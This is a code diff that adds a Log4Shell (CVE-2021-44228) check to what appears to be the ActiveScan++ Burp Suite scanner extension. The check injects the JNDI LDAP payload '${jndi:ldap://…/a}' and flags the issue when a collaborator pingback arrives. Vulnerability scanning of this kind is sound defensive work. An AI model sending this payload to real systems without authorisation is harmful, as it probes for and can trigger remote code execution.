|
31 | 31 | except ImportError:
|
32 | 32 | print "Failed to load dependencies. This issue may be caused by using the unstable Jython 2.7 beta."
|
33 | 33 |
|
34 |
| -VERSION = "1.0.22" |
| 34 | +VERSION = "1.0.23" |
35 | 35 | FAST_MODE = False
|
36 | 36 | DEBUG = False
|
37 | 37 | callbacks = None
|
@@ -69,6 +69,7 @@ def registerExtenderCallbacks(self, this_callbacks):
|
69 | 69 | callbacks.registerScannerCheck(SimpleFuzz())
|
70 | 70 | callbacks.registerScannerCheck(EdgeSideInclude())
|
71 | 71 | if collab_enabled:
|
| 72 | + callbacks.registerScannerCheck(Log4j()) |
72 | 73 | callbacks.registerScannerCheck(Solr())
|
73 | 74 | callbacks.registerScannerCheck(doStruts_2017_12611_scan())
|
74 | 75 |
|
@@ -713,6 +714,25 @@ def consolidateDuplicateIssues(self, existingIssue, newIssue):
|
713 | 714 | return is_same_issue(existingIssue, newIssue)
|
714 | 715 |
|
715 | 716 |
|
| 717 | +class Log4j(IScannerCheck): |
| 718 | + def doActiveScan(self, basePair, insertionPoint): |
| 719 | + collab = callbacks.createBurpCollaboratorClientContext() |
| 720 | + attack = request(basePair, insertionPoint, "${jndi:ldap://"+collab.generatePayload(True)+"/a}") |
| 721 | + interactions = collab.fetchAllCollaboratorInteractions() |
| 722 | + if interactions: |
| 723 | + return [CustomScanIssue(attack.getHttpService(), helpers.analyzeRequest(attack).getUrl(), [attack], |
| 724 | + 'Log4Shell (CVE-2021-44228)', |
| 725 | + "The application appears to be running a version of log4j vulnerable to RCE. ActiveScan++ sent a reference to an external file, and received a pingback from the server.<br/><br/>" + |
| 726 | + "To investigate, use the manual collaborator client. It may be possible to escalate this vulnerability into RCE. Please refer to https://www.lunasec.io/docs/blog/log4j-zero-day/ for further information", |
| 727 | + 'Firm', 'High')] |
| 728 | + |
| 729 | + def doPassiveScan(self, basePair): |
| 730 | + return [] |
| 731 | + |
| 732 | + def consolidateDuplicateIssues(self, existingIssue, newIssue): |
| 733 | + return is_same_issue(existingIssue, newIssue) |
| 734 | + |
| 735 | + |
716 | 736 | class Solr(IScannerCheck):
|
717 | 737 | def doActiveScan(self, basePair, insertionPoint):
|
718 | 738 | collab = callbacks.createBurpCollaboratorClientContext()
|
|
0 commit comments